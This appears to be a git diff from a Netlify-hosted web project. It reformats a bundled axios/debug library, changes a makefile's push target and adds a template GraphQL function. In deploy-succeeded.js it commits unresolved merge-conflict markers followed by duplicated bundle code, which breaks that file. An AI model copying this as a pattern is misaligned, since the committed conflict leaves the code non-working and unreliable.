+                    '#FF00CC',
+                    '#FF00FF',
+                    '#FF3300',
+                    '#FF3333',
+                    '#FF3366',
+                    '#FF3399',
+                    '#FF33CC',
+                    '#FF33FF',
+                    '#FF6600',
+                    '#FF6633',
+                    '#FF9900',
+                    '#FF9933',
+                    '#FFCC00',
+                    '#FFCC33'
+                ]),
+                (t.formatters.j = function (e) {
+                    try {
+                        return JSON.stringify(e);
+                    } catch (e) {
+                        return '[UnexpectedJSONParseError]: ' + e.message;
+                    }
+                }),
+                t.enable(n());
         },
-        function(e, _t) {
+        function (e, t) {
             var r = 1e3,
                 n = 6e4,
                 o = 36e5,
@@ -1370,12 +1307,12 @@
             function i(e, t, r) {
                 if (!(e < t)) return e < 1.5 * t ? Math.floor(e / t) + ' ' + r : Math.ceil(e / t) + ' ' + r + 's';
             }
-            e.exports = function(e, t) {
+            e.exports = function (e, t) {
                 t = t || {};
                 var a,
                     u = typeof e;
                 if ('string' === u && e.length > 0)
-                    return (function(e) {
+                    return (function (e) {
                         if ((e = String(e)).length > 100) return;
                         var t = /^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(e);
                         if (!t) return;
@@ -1420,45 +1357,45 @@
                         }
                     })(e);
                 if ('number' === u && !1 === isNaN(e))
-                    return t.long ?
-                        i((a = e), s, 'day') || i(a, o, 'hour') || i(a, n, 'minute') || i(a, r, 'second') || a + ' ms' :
-                        (function(e) {
-                            if (e >= s) return Math.round(e / s) + 'd';
-                            if (e >= o) return Math.round(e / o) + 'h';
-                            if (e >= n) return Math.round(e / n) + 'm';
-                            if (e >= r) return Math.round(e / r) + 's';
-                            return e + 'ms';
-                        })(e);
+                    return t.long
+                        ? i((a = e), s, 'day') || i(a, o, 'hour') || i(a, n, 'minute') || i(a, r, 'second') || a + ' ms'
+                        : (function (e) {
+                              if (e >= s) return Math.round(e / s) + 'd';
+                              if (e >= o) return Math.round(e / o) + 'h';
+                              if (e >= n) return Math.round(e / n) + 'm';
+                              if (e >= r) return Math.round(e / r) + 's';
+                              return e + 'ms';
+                          })(e);
                 throw new Error('val is not a non-empty string or a valid number. val=' + JSON.stringify(e));
             };
         },
-        function(e, t, r) {
+        function (e, t, r) {
             var n = r(38),
                 o = r(39);
-            ((t = e.exports = r(13)).init = function(e) {
+            ((t = e.exports = r(13)).init = function (e) {
                 e.inspectOpts = {};
                 for (var r = Object.keys(t.inspectOpts), n = 0; n < r.length; n++) e.inspectOpts[r[n]] = t.inspectOpts[r[n]];
             }),
-            (t.log = function() {
-                return process.stderr.write(o.format.apply(o, arguments) + '\n');
-            }),
-            (t.formatArgs = function(e) {
-                var r = this.namespace;
-                if (this.useColors) {
-                    var n = this.color,
-                        o = '[3' + (n < 8 ? n : '8;5;' + n),
-                        s = '  ' + o + ';1m' + r + ' ';
-                    (e[0] = s + e[0].split('\n').join('\n' + s)), e.push(o + 'm+' + t.humanize(this.diff) + '');
-                } else e[0] = (t.inspectOpts.hideDate ? '' : new Date().toISOString() + ' ') + r + ' ' + e[0];
-            }),
-            (t.save = function(e) {
-                null == e ? delete process.env.DEBUG : (process.env.DEBUG = e);
-            }),
-            (t.load = i),
-            (t.useColors = function() {
-                return 'colors' in t.inspectOpts ? Boolean(t.inspectOpts.colors) : n.isatty(process.stderr.fd);
-            }),
-            (t.colors = [6, 2, 3, 4, 5, 1]);
+                (t.log = function () {
+                    return process.stderr.write(o.format.apply(o, arguments) + '\n');
+                }),
+                (t.formatArgs = function (e) {
+                    var r = this.namespace;
+                    if (this.useColors) {
+                        var n = this.color,
+                            o = '[3' + (n < 8 ? n : '8;5;' + n),
+                            s = '  ' + o + ';1m' + r + ' ';
+                        (e[0] = s + e[0].split('\n').join('\n' + s)), e.push(o + 'm+' + t.humanize(this.diff) + '');
+                    } else e[0] = (t.inspectOpts.hideDate ? '' : new Date().toISOString() + ' ') + r + ' ' + e[0];
+                }),
+                (t.save = function (e) {
+                    null == e ? delete process.env.DEBUG : (process.env.DEBUG = e);
+                }),
+                (t.load = i),
+                (t.useColors = function () {
+                    return 'colors' in t.inspectOpts ? Boolean(t.inspectOpts.colors) : n.isatty(process.stderr.fd);
+                }),
+                (t.colors = [6, 2, 3, 4, 5, 1]);
             try {
                 var s = r(40);
                 s &&
@@ -1473,16 +1410,16 @@
                 return process.env.DEBUG;
             }
             (t.inspectOpts = Object.keys(process.env)
-                .filter(function(e) {
+                .filter(function (e) {
                     return /^debug_/i.test(e);
                 })
-                .reduce(function(e, t) {
+                .reduce(function (e, t) {
                     var r = t
-                        .substring(6)
-                        .toLowerCase()
-                        .replace(/_([a-z])/g, function(_e, t) {
-                            return t.toUpperCase();
-                        }),
+                            .substring(6)
+                            .toLowerCase()
+                            .replace(/_([a-z])/g, function (e, t) {
+                                return t.toUpperCase();
+                            }),
                         n = process.env[t];
                     return (
                         (n = !!/^(yes|on|true|enabled)$/i.test(n) || (!/^(no|off|false|disabled)$/i.test(n) && ('null' === n ? null : Number(n)))),
@@ -1490,37 +1427,37 @@
                         e
                     );
                 }, {})),
-            (t.formatters.o = function(e) {
-                return (
-                    (this.inspectOpts.colors = this.useColors),
-                    o
-                    .inspect(e, this.inspectOpts)
-                    .split('\n')
-                    .map(function(e) {
-                        return e.trim();
-                    })
-                    .join(' ')
-                );
-            }),
-            (t.formatters.O = function(e) {
-                return (this.inspectOpts.colors = this.useColors), o.inspect(e, this.inspectOpts);
-            }),
-            t.enable(i());
+                (t.formatters.o = function (e) {
+                    return (
+                        (this.inspectOpts.colors = this.useColors),
+                        o
+                            .inspect(e, this.inspectOpts)
+                            .split('\n')
+                            .map(function (e) {
+                                return e.trim();
+                            })
+                            .join(' ')
+                    );
+                }),
+                (t.formatters.O = function (e) {
+                    return (this.inspectOpts.colors = this.useColors), o.inspect(e, this.inspectOpts);
+                }),
+                t.enable(i());
         },
-        function(e, _t) {
+        function (e, t) {
             e.exports = require('tty');
         },
-        function(e, _t) {
+        function (e, t) {
             e.exports = require('util');
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             const n = r(41),
                 o = r(42),
                 s = process.env;
             let i;
             function a(e) {
-                return (function(e) {
+                return (function (e) {
                     return (
                         0 !== e && {
                             level: e,
@@ -1530,7 +1467,7 @@
                         }
                     );
                 })(
-                    (function(e) {
+                    (function (e) {
                         if (!1 === i) return 0;
                         if (o('color=16m') || o('color=full') || o('color=truecolor')) return 3;
                         if (o('color=256')) return 2;
@@ -1538,11 +1475,11 @@
                         const t = i ? 1 : 0;
                         if ('win32' === process.platform) {
                             const e = n.release().split('.');
-                            return Number(process.versions.node.split('.')[0]) >= 8 && Number(e[0]) >= 10 && Number(e[2]) >= 10586 ?
-                                Number(e[2]) >= 14931 ?
-                                3 :
-                                2 :
-                                1;
+                            return Number(process.versions.node.split('.')[0]) >= 8 && Number(e[0]) >= 10 && Number(e[2]) >= 10586
+                                ? Number(e[2]) >= 14931
+                                    ? 3
+                                    : 2
+                                : 1;
                         }
                         if ('CI' in s) return ['TRAVIS', 'CIRCLECI', 'APPVEYOR', 'GITLAB_CI'].some((e) => e in s) || 'codeship' === s.CI_NAME ? 1 : t;
                         if ('TEAMCITY_VERSION' in s) return /^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(s.TEAMCITY_VERSION) ? 1 : 0;
@@ -1556,13 +1493,13 @@
                                     return 2;
                             }
                         }
-                        return /-256(color)?$/i.test(s.TERM) ?
-                            2 :
-                            /^screen|^xterm|^vt100|^vt220|^rxvt|color|ansi|cygwin|linux/i.test(s.TERM) ?
-                            1 :
-                            'COLORTERM' in s ?
-                            1 :
-                            (s.TERM, t);
+                        return /-256(color)?$/i.test(s.TERM)
+                            ? 2
+                            : /^screen|^xterm|^vt100|^vt220|^rxvt|color|ansi|cygwin|linux/i.test(s.TERM)
+                            ? 1
+                            : 'COLORTERM' in s
+                            ? 1
+                            : (s.TERM, t);
                     })(e)
                 );
             }
@@ -1574,10 +1511,10 @@
                     stderr: a(process.stderr)
                 });
         },
-        function(e, _t) {
+        function (e, t) {
             e.exports = require('os');
         },
-        function(e, _t, _r) {
+        function (e, t, r) {
             'use strict';
             e.exports = (e, t) => {
                 t = t || process.argv;
@@ -1587,73 +1524,49 @@
                 return -1 !== n && (-1 === o || n < o);
             };
         },
-        function(e, _t) {
+        function (e, t) {
             e.exports = require('zlib');
         },
-        function(e) {
+        function (e) {
             e.exports = JSON.parse(
                 '{"name":"axios","version":"0.19.1","description":"Promise based HTTP client for the browser and node.js","main":"index.js","scripts":{"test":"grunt test && bundlesize","start":"node ./sandbox/server.js","build":"NODE_ENV=production grunt build","preversion":"npm test","version":"npm run build && grunt version && git add -A dist && git add CHANGELOG.md bower.json package.json","postversion":"git push && git push --tags","examples":"node ./examples/server.js","coveralls":"cat coverage/lcov.info | ./node_modules/coveralls/bin/coveralls.js","fix":"eslint --fix lib/**/*.js"},"repository":{"type":"git","url":"https://github.com/axios/axios.git"},"keywords":["xhr","http","ajax","promise","node"],"author":"Matt Zabriskie","license":"MIT","bugs":{"url":"https://github.com/axios/axios/issues"},"homepage":"https://github.com/axios/axios","devDependencies":{"bundlesize":"^0.17.0","coveralls":"^3.0.0","es6-promise":"^4.2.4","grunt":"^1.0.2","grunt-banner":"^0.6.0","grunt-cli":"^1.2.0","grunt-contrib-clean":"^1.1.0","grunt-contrib-watch":"^1.0.0","grunt-eslint":"^20.1.0","grunt-karma":"^2.0.0","grunt-mocha-test":"^0.13.3","grunt-ts":"^6.0.0-beta.19","grunt-webpack":"^1.0.18","istanbul-instrumenter-loader":"^1.0.0","jasmine-core":"^2.4.1","karma":"^1.3.0","karma-chrome-launcher":"^2.2.0","karma-coverage":"^1.1.1","karma-firefox-launcher":"^1.1.0","karma-jasmine":"^1.1.1","karma-jasmine-ajax":"^0.1.13","karma-opera-launcher":"^1.0.0","karma-safari-launcher":"^1.0.0","karma-sauce-launcher":"^1.2.0","karma-sinon":"^1.0.5","karma-sourcemap-loader":"^0.3.7","karma-webpack":"^1.7.0","load-grunt-tasks":"^3.5.2","minimist":"^1.2.0","mocha":"^5.2.0","sinon":"^4.5.0","typescript":"^2.8.1","url-search-params":"^0.10.0","webpack":"^1.13.1","webpack-dev-server":"^1.14.1"},"browser":{"./lib/adapters/http.js":"./lib/adapters/xhr.js"},"typings":"./index.d.ts","dependencies":{"follow-redirects":"1.5.10"},"bundlesize":[{"path":"./dist/axios.min.js","threshold":"5kB"}]}'
             );
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(15);
             function o(e) {
                 if ('function' != typeof e) throw new TypeError('executor must be a function.');
                 var t;
-                this.promise = new Promise(function(e) {
+                this.promise = new Promise(function (e) {
                     t = e;
                 });
                 var r = this;
-                e(function(e) {
+                e(function (e) {
                     r.reason || ((r.reason = new n(e)), t(r.reason));
                 });
             }
-            (o.prototype.throwIfRequested = function() {
+            (o.prototype.throwIfRequested = function () {
                 if (this.reason) throw this.reason;
             }),
-            (o.source = function() {
-                var e;
-                return {
-                    token: new o(function(t) {
-                        e = t;
-                    }),
-                    cancel: e
-                };
-            }),
-            (e.exports = o);
+                (o.source = function () {
+                    var e;
+                    return {
+                        token: new o(function (t) {
+                            e = t;
+                        }),
+                        cancel: e
+                    };
+                }),
+                (e.exports = o);
         },
-        function(e, _t, _r) {
+        function (e, t, r) {
             'use strict';
-            e.exports = function(e) {
-                return function(t) {
+            e.exports = function (e) {
+                return function (t) {
                     return e.apply(null, t);
                 };
             };
         }
     ])
 );
-(o.prototype.throwIfRequested = function() {
-    if (this.reason) throw this.reason;
-}),
-(o.source = function() {
-    var e;
-    return {
-        token: new o(function(t) {
-            e = t;
-        }),
-        cancel: e
-    };
-}),
-(e.exports = o);
-},
-function(e, _t, _r) {
-    'use strict';
-    e.exports = function(e) {
-        return function(t) {
-            return e.apply(null, t);
-        };
-    };
-}
-])
-);
diff --git a/makefile b/makefile
index b646faea58..e3c98d5d0b 100644
--- a/makefile
+++ b/makefile
@@ -1,5 +1,8 @@
+
 git:
+
 	git add .
 	git commit -m "$m update"
-	git push -u origin master
+	git push -u origin $(shell git rev-parse --abbrev-ref HEAD)
+
 # just type make into the terminal to exicute these commands!
diff --git a/netlify/functions/ExampleQuery.js b/netlify/functions/ExampleQuery.js
new file mode 100644
index 0000000000..21a92c6ff5
--- /dev/null
+++ b/netlify/functions/ExampleQuery.js
@@ -0,0 +1,59 @@
+/**
+ * A function that is called when a user visits the site.
+ * @param params - The parameters to pass to the function.
+ * @returns an object with a statusCode, body, and headers.
+ */
+const NetlifyGraph = require('./netlifyGraph/netlifyGraph');
+
+exports.handler = async (event) => {
+    // By default, all API calls use no authentication
+    let accessToken;
+
+    //// If you want to use the client's accessToken when making API calls on the user's behalf:
+    // accessToken = event.headers["authorization"]?.split(" ")[1]
+
+    //// If you want to use the API with your own access token:
+    // accessToken = event.authlifyToken
+
+    const eventBodyJson = JSON.parse(event.body || '{}');
+
+    const { errors: ExampleQueryErrors, data: ExampleQueryData } = await NetlifyGraph.fetchExampleQuery({}, { accessToken: accessToken });
+
+    if (ExampleQueryErrors) {
+        console.error(JSON.stringify(ExampleQueryErrors, null, 2));
+    }
+
+    console.log(JSON.stringify(ExampleQueryData, null, 2));
+
+    return {
+        statusCode: 200,
+        body: JSON.stringify({
+            success: true,
+            ExampleQueryErrors: ExampleQueryErrors,
+            ExampleQueryData: ExampleQueryData
+        }),
+        headers: {
+            'content-type': 'application/json'
+        }
+    };
+};
+
+/**
+ * Client-side invocations:
+ * Call your Netlify function from the browser (after saving
+ * the code to `ExampleQuery.js`) with these helpers:
+ */
+
+
+async function fetchExampleQuery(params) {
+  const {} = params || {};
+  const resp = await fetch(`/.netlify/functions/ExampleQuery?`,
+    {
+      method: "GET"
+    });
+
+    const text = await resp.text();
+
+    return JSON.parse(text);
+}
+
diff --git a/netlify/functions/deploy-succeeded.js b/netlify/functions/deploy-succeeded.js
index 3311aac61b..c457fbef2d 100644
--- a/netlify/functions/deploy-succeeded.js
+++ b/netlify/functions/deploy-succeeded.js
@@ -1,3 +1,4 @@
+<<<<<<< HEAD
 const contextCondition = 'production';
 const stateCondition = 'ready';
 const sitemapUrl = process.env.SITEMAP_URL;
@@ -29,3 +30,1664 @@ exports.handler = async ( event ) => {
     throw err;
   }
 };
+=======
+!(function(e, t) {
+    for (var r in t) e[r] = t[r];
+})(
+    exports,
+    (function(e) {
+        var t = {};
+        function r(n) {
+            if (t[n]) return t[n].exports;
+            var o = (t[n] = {
+                i: n,
+                l: !1,
+                exports: {}
+            });
+            return e[n].call(o.exports, o, o.exports, r), (o.l = !0), o.exports;
+        }
+        return (
+            (r.m = e),
+            (r.c = t),
+            (r.d = function(e, t, n) {
+                r.o(e, t) || Object.defineProperty(e, t, {
+                    enumerable: !0,
+                    get: n
+                });
+            }),
+            (r.r = function(e) {
+                'undefined' != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, {
+                        value: 'Module'
+                    }),
+                    Object.defineProperty(e, '__esModule', {
+                        value: !0
+                    });
+            }),
+            (r.t = function(e, t) {
+                if ((1 & t && (e = r(e)), 8 & t)) return e;
+                if (4 & t && 'object' == typeof e && e && e.__esModule) return e;
+                var n = Object.create(null);
+                if ((r.r(n), Object.defineProperty(n, 'default', {
+                        enumerable: !0,
+                        value: e
+                    }), 2 & t && 'string' != typeof e))
+                    for (var o in e)
+                        r.d(
+                            n,
+                            o,
+                            function(t) {
+                                return e[t];
+                            }.bind(null, o)
+                        );
+                return n;
+            }),
+            (r.n = function(e) {
+                var t =
+                    e && e.__esModule ?
+                    function() {
+                        return e.default;
+                    } :
+                    function() {
+                        return e;
+                    };
+                return r.d(t, 'a', t), t;
+            }),
+            (r.o = function(e, t) {
+                return Object.prototype.hasOwnProperty.call(e, t);
+            }),
+            (r.p = ''),
+            r((r.s = 16))
+        );
+    })([
+        function(e, _t, r) {
+            'use strict';
+            var n = r(3),
+                o = Object.prototype.toString;
+            function s(e) {
+                return '[object Array]' === o.call(e);
+            }
+            function i(e) {
+                return void 0 === e;
+            }
+            function a(e) {
+                return null !== e && 'object' == typeof e;
+            }
+            function u(e) {
+                return '[object Function]' === o.call(e);
+            }
+            function c(e, t) {
+                if (null != e)
+                    if (('object' != typeof e && (e = [e]), s(e)))
+                        for (var r = 0, n = e.length; r < n; r++) t.call(null, e[r], r, e);
+                    else
+                        for (var o in e) Object.prototype.hasOwnProperty.call(e, o) && t.call(null, e[o], o, e);
+            }
+            e.exports = {
+                isArray: s,
+                isArrayBuffer: function(e) {
+                    return '[object ArrayBuffer]' === o.call(e);
+                },
+                isBuffer: function(e) {
+                    return (
+                        null !== e &&
+                        !i(e) &&
+                        null !== e.constructor &&
+                        !i(e.constructor) &&
+                        'function' == typeof e.constructor.isBuffer &&
+                        e.constructor.isBuffer(e)
+                    );
+                },
+                isFormData: function(e) {
+                    return 'undefined' != typeof FormData && e instanceof FormData;
+                },
+                isArrayBufferView: function(e) {
+                    return 'undefined' != typeof ArrayBuffer && ArrayBuffer.isView ? ArrayBuffer.isView(e) : e && e.buffer && e.buffer instanceof ArrayBuffer;
+                },
+                isString: function(e) {
+                    return 'string' == typeof e;
+                },
+                isNumber: function(e) {
+                    return 'number' == typeof e;
+                },
+                isObject: a,
+                isUndefined: i,
+                isDate: function(e) {
+                    return '[object Date]' === o.call(e);
+                },
+                isFile: function(e) {
+                    return '[object File]' === o.call(e);
+                },
+                isBlob: function(e) {
+                    return '[object Blob]' === o.call(e);
+                },
+                isFunction: u,
+                isStream: function(e) {
+                    return a(e) && u(e.pipe);
+                },
+                isURLSearchParams: function(e) {
+                    return 'undefined' != typeof URLSearchParams && e instanceof URLSearchParams;
+                },
+                isStandardBrowserEnv: function() {
+                    return (
+                        ('undefined' == typeof navigator ||
+                            ('ReactNative' !== navigator.product && 'NativeScript' !== navigator.product && 'NS' !== navigator.product)) &&
+                        'undefined' != typeof window &&
+                        'undefined' != typeof document
+                    );
+                },
+                forEach: c,
+                merge: function e() {
+                    var t = {};
+                    function r(r, n) {
+                        'object' == typeof t[n] && 'object' == typeof r ? (t[n] = e(t[n], r)) : (t[n] = r);
+                    }
+                    for (var n = 0, o = arguments.length; n < o; n++) c(arguments[n], r);
+                    return t;
+                },
+                deepMerge: function e() {
+                    var t = {};
+                    function r(r, n) {
+                        'object' == typeof t[n] && 'object' == typeof r ? (t[n] = e(t[n], r)) : (t[n] = 'object' == typeof r ? e({}, r) : r);
+                    }
+                    for (var n = 0, o = arguments.length; n < o; n++) c(arguments[n], r);
+                    return t;
+                },
+                extend: function(e, t, r) {
+                    return (
+                        c(t, function(t, o) {
+                            e[o] = r && 'function' == typeof t ? n(t, r) : t;
+                        }),
+                        e
+                    );
+                },
+                trim: function(e) {
+                    return e.replace(/^\s*/, '').replace(/\s*$/, '');
+                }
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0);
+            function o(e) {
+                return encodeURIComponent(e)
+                    .replace(/%40/gi, '@')
+                    .replace(/%3A/gi, ':')
+                    .replace(/%24/g, '$')
+                    .replace(/%2C/gi, ',')
+                    .replace(/%20/g, '+')
+                    .replace(/%5B/gi, '[')
+                    .replace(/%5D/gi, ']');
+            }
+            e.exports = function(e, t, r) {
+                if (!t) return e;
+                var s;
+                if (r) s = r(t);
+                else if (n.isURLSearchParams(t)) s = t.toString();
+                else {
+                    var i = [];
+                    n.forEach(t, function(e, t) {
+                            null != e &&
+                                (n.isArray(e) ? (t += '[]') : (e = [e]),
+                                    n.forEach(e, function(e) {
+                                        n.isDate(e) ? (e = e.toISOString()) : n.isObject(e) && (e = JSON.stringify(e)), i.push(o(t) + '=' + o(e));
+                                    }));
+                        }),
+                        (s = i.join('&'));
+                }
+                if (s) {
+                    var a = e.indexOf('#'); -
+                    1 !== a && (e = e.slice(0, a)), (e += (-1 === e.indexOf('?') ? '?' : '&') + s);
+                }
+                return e;
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(7);
+            e.exports = function(e, t, r, o, s) {
+                var i = new Error(e);
+                return n(i, t, r, o, s);
+            };
+        },
+        function(e, _t, _r) {
+            'use strict';
+            e.exports = function(e, t) {
+                return function() {
+                    for (var r = new Array(arguments.length), n = 0; n < r.length; n++) r[n] = arguments[n];
+                    return e.apply(t, r);
+                };
+            };
+        },
+        function(e, _t, _r) {
+            'use strict';
+            e.exports = function(e) {
+                return !(!e || !e.__CANCEL__);
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(0),
+                o = r(23),
+                s = {
+                    'Content-Type': 'application/x-www-form-urlencoded'
+                };
+            function i(e, t) {
+                !n.isUndefined(e) && n.isUndefined(e['Content-Type']) && (e['Content-Type'] = t);
+            }
+            var a,
+                u = {
+                    adapter: ('undefined' != typeof XMLHttpRequest ?
+                        (a = r(24)) :
+                        'undefined' != typeof process && '[object process]' === Object.prototype.toString.call(process) && (a = r(31)),
+                        a),
+                    transformRequest: [
+                        function(e, t) {
+                            return (
+                                o(t, 'Accept'),
+                                o(t, 'Content-Type'),
+                                n.isFormData(e) || n.isArrayBuffer(e) || n.isBuffer(e) || n.isStream(e) || n.isFile(e) || n.isBlob(e) ?
+                                e :
+                                n.isArrayBufferView(e) ?
+                                e.buffer :
+                                n.isURLSearchParams(e) ?
+                                (i(t, 'application/x-www-form-urlencoded;charset=utf-8'), e.toString()) :
+                                n.isObject(e) ?
+                                (i(t, 'application/json;charset=utf-8'), JSON.stringify(e)) :
+                                e
+                            );
+                        }
+                    ],
+                    transformResponse: [
+                        function(e) {
+                            if ('string' == typeof e)
+                                try {
+                                    e = JSON.parse(e);
+                                } catch (e) {}
+                            return e;
+                        }
+                    ],
+                    timeout: 0,
+                    xsrfCookieName: 'XSRF-TOKEN',
+                    xsrfHeaderName: 'X-XSRF-TOKEN',
+                    maxContentLength: -1,
+                    validateStatus: function(e) {
+                        return e >= 200 && e < 300;
+                    }
+                };
+            (u.headers = {
+                common: {
+                    Accept: 'application/json, text/plain, */*'
+                }
+            }),
+            n.forEach(['delete', 'get', 'head'], function(e) {
+                    u.headers[e] = {};
+                }),
+                n.forEach(['post', 'put', 'patch'], function(e) {
+                    u.headers[e] = n.merge(s);
+                }),
+                (e.exports = u);
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(2);
+            e.exports = function(e, t, r) {
+                var o = r.config.validateStatus;
+                !o || o(r.status) ? e(r) : t(n('Request failed with status code ' + r.status, r.config, null, r.request, r));
+            };
+        },
+        function(e, _t, _r) {
+            'use strict';
+            e.exports = function(e, t, r, n, o) {
+                return (
+                    (e.config = t),
+                    r && (e.code = r),
+                    (e.request = n),
+                    (e.response = o),
+                    (e.isAxiosError = !0),
+                    (e.toJSON = function() {
+                        return {
+                            message: this.message,
+                            name: this.name,
+                            description: this.description,
+                            number: this.number,
+                            fileName: this.fileName,
+                            lineNumber: this.lineNumber,
+                            columnNumber: this.columnNumber,
+                            stack: this.stack,
+                            config: this.config,
+                            code: this.code
+                        };
+                    }),
+                    e
+                );
+            };
+        },
+        function(e, _t, r) {
+            'use strict';
+            var n = r(25),
+                o = r(26);
+            e.exports = function(e, t) {
+                return e && !n(t) ? o(e, t) : t;
+            };
+        },
+        function(e, _t) {
+            e.exports = require('http');
+        },
+        function(e, _t) {
+            e.exports = require('https');
+        },
+        function(e, _t, r) {
+            var n = r(12),
+                o = r(9),
+                s = r(10),
+                i = r(32),
+                a = r(33).Writable,
+                u = r(34)('follow-redirects'),
+                c = {
+                    GET: !0,
+                    HEAD: !0,
+                    OPTIONS: !0,
+                    TRACE: !0
+                },
+                f = Object.create(null);
+            function p(e, t) {
+                a.call(this),
+                    (e.headers = e.headers || {}),
+                    (this._options = e),
+                    (this._redirectCount = 0),
+                    (this._redirects = []),
+                    (this._requestBodyLength = 0),
+                    (this._requestBodyBuffers = []),
+                    e.host && (e.hostname || (e.hostname = e.host), delete e.host),
+                    t && this.on('response', t);
+                var r = this;
+                if (
+                    ((this._onNativeResponse = function(e) {
+                            r._processResponse(e);
+                        }),
+                        !e.pathname && e.path)
+                ) {
+                    var n = e.path.indexOf('?');
+                    n < 0 ? (e.pathname = e.path) : ((e.pathname = e.path.substring(0, n)), (e.search = e.path.substring(n)));
+                }
+                this._performRequest();
+            }
+            function l(e) {
+                var t = {
+                        maxRedirects: 21,
+                        maxBodyLength: 10485760
+                    },
+                    r = {};
+                return (
+                    Object.keys(e).forEach(function(o) {
+                        var s = o + ':',
+                            a = (r[s] = e[o]),
+                            c = (t[o] = Object.create(a));
+                        (c.request = function(e, o) {
+                            return (
+                                'string' == typeof e ?
+                                ((e = n.parse(e)).maxRedirects = t.maxRedirects) :
+                                (e = Object.assign({
+                                        protocol: s,
+                                        maxRedirects: t.maxRedirects,
+                                        maxBodyLength: t.maxBodyLength
+                                    },
+                                    e
+                                )),
+                                (e.nativeProtocols = r),
+                                i.equal(e.protocol, s, 'protocol mismatch'),
+                                u('options', e),
+                                new p(e, o)
+                            );
+                        }),
+                        (c.get = function(e, t) {
+                            var r = c.request(e, t);
+                            return r.end(), r;
+                        });
+                    }),
+                    t
+                );
+            }
+            ['abort', 'aborted', 'error', 'socket', 'timeout'].forEach(function(e) {
+                    f[e] = function(t) {
+                        this._redirectable.emit(e, t);
+                    };
+                }),
+                (p.prototype = Object.create(a.prototype)),
+                (p.prototype.write = function(e, t, r) {
+                    if (!('string' == typeof e || ('object' == typeof e && 'length' in e))) throw new Error('data should be a string, Buffer or Uint8Array');
+                    'function' == typeof t && ((r = t), (t = null)),
+                        0 !== e.length ?
+                        this._requestBodyLength + e.length <= this._options.maxBodyLength ?
+                        ((this._requestBodyLength += e.length),
+                            this._requestBodyBuffers.push({
+                                data: e,
+                                encoding: t
+                            }),
+                            this._currentRequest.write(e, t, r)) :
+                        (this.emit('error', new Error('Request body larger than maxBodyLength limit')), this.abort()) :
+                        r && r();
+                }),
+                (p.prototype.end = function(e, t, r) {
+                    'function' == typeof e ? ((r = e), (e = t = null)) : 'function' == typeof t && ((r = t), (t = null));
+                    var n = this._currentRequest;
+                    this.write(e || '', t, function() {
+                        n.end(null, null, r);
+                    });
+                }),
+                (p.prototype.setHeader = function(e, t) {
+                    (this._options.headers[e] = t), this._currentRequest.setHeader(e, t);
+                }),
+                (p.prototype.removeHeader = function(e) {
+                    delete this._options.headers[e], this._currentRequest.removeHeader(e);
+                }),
+                ['abort', 'flushHeaders', 'getHeader', 'setNoDelay', 'setSocketKeepAlive', 'setTimeout'].forEach(function(e) {
+                    p.prototype[e] = function(t, r) {
+                        return this._currentRequest[e](t, r);
+                    };
+                }),
+                ['aborted', 'connection', 'socket'].forEach(function(e) {
+                    Object.defineProperty(p.prototype, e, {
+                        get: function() {
+                            return this._currentRequest[e];
+                        }
+                    });
+                }),
+                (p.prototype._performRequest = function() {
+                    var e = this._options.protocol,
+                        t = this._options.nativeProtocols[e];
+                    if (t) {
+                        if (this._options.agents) {
+                            var r = e.substr(0, e.length - 1);
+                            this._options.agent = this._options.agents[r];
+                        }
+                        var o = (this._currentRequest = t.request(this._options, this._onNativeResponse));
+                        for (var s in ((this._currentUrl = n.format(this._options)), (o._redirectable = this), f)) s && o.on(s, f[s]);
+                        if (this._isRedirect) {
+                            var i = 0,
+                                a = this._requestBodyBuffers;
+                            !(function e() {
+                                if (i < a.length) {
+                                    var t = a[i++];
+                                    o.write(t.data, t.encoding, e);
+                                } else o.end();
+                            })();
+                        }
+                    } else this.emit('error', new Error('Unsupported protocol ' + e));
+                }),
+                (p.prototype._processResponse = function(e) {
+                    this._options.trackRedirects &&
+                        this._redirects.push({
+                            url: this._currentUrl,
+                            headers: e.headers,
+                            statusCode: e.statusCode
+                        });
+                    var t = e.headers.location;
+                    if (t && !1 !== this._options.followRedirects && e.statusCode >= 300 && e.statusCode < 400) {
+                        if (++this._redirectCount > this._options.maxRedirects) return void this.emit('error', new Error('Max redirects exceeded.'));
+                        var r,
+                            o = this._options.headers;
+                        if (307 !== e.statusCode && !(this._options.method in c))
+                            for (r in ((this._options.method = 'GET'), (this._requestBodyBuffers = []), o)) /^content-/i.test(r) && delete o[r];
+                        if (!this._isRedirect)
+                            for (r in o) /^host$/i.test(r) && delete o[r];
+                        var s = n.resolve(this._currentUrl, t);
+                        u('redirecting to', s), Object.assign(this._options, n.parse(s)), (this._isRedirect = !0), this._performRequest(), e.destroy();
+                    } else(e.responseUrl = this._currentUrl), (e.redirects = this._redirects), this.emit('response', e), (this._requestBodyBuffers = []);
+                }),
+                (e.exports = l({
+                    http: o,
+                    https: s
+                })),
+                (e.exports.wrap = l);
+        },
+        function(e, _t) {
+            e.exports = require('url');
+        },
+        function(e, t, r) {
+            function n(e) {
+                var r;
+                function n() {
+                    if (n.enabled) {
+                        var e = n,
+                            o = +new Date(),
+                            s = o - (r || o);
+                        (e.diff = s), (e.prev = r), (e.curr = o), (r = o);
+                        for (var i = new Array(arguments.length), a = 0; a < i.length; a++) i[a] = arguments[a];
+                        (i[0] = t.coerce(i[0])), 'string' != typeof i[0] && i.unshift('%O');
+                        var u = 0;
+                        (i[0] = i[0].replace(/%([a-zA-Z%])/g, function(r, n) {
+                            if ('%%' === r) return r;
+                            u++;
+                            var o = t.formatters[n];
+                            if ('function' == typeof o) {
+                                var s = i[u];
+                                (r = o.call(e, s)), i.splice(u, 1), u--;
+                            }
+                            return r;
+                        })),
+                        t.formatArgs.call(e, i);
+                        var c = n.log || t.log || console.log.bind(console);
+                        c.apply(e, i);
+                    }
+                }
+                return (
+                    (n.namespace = e),
+                    (n.enabled = t.enabled(e)),
+                    (n.useColors = t.useColors()),
+                    (n.color = (function(e) {
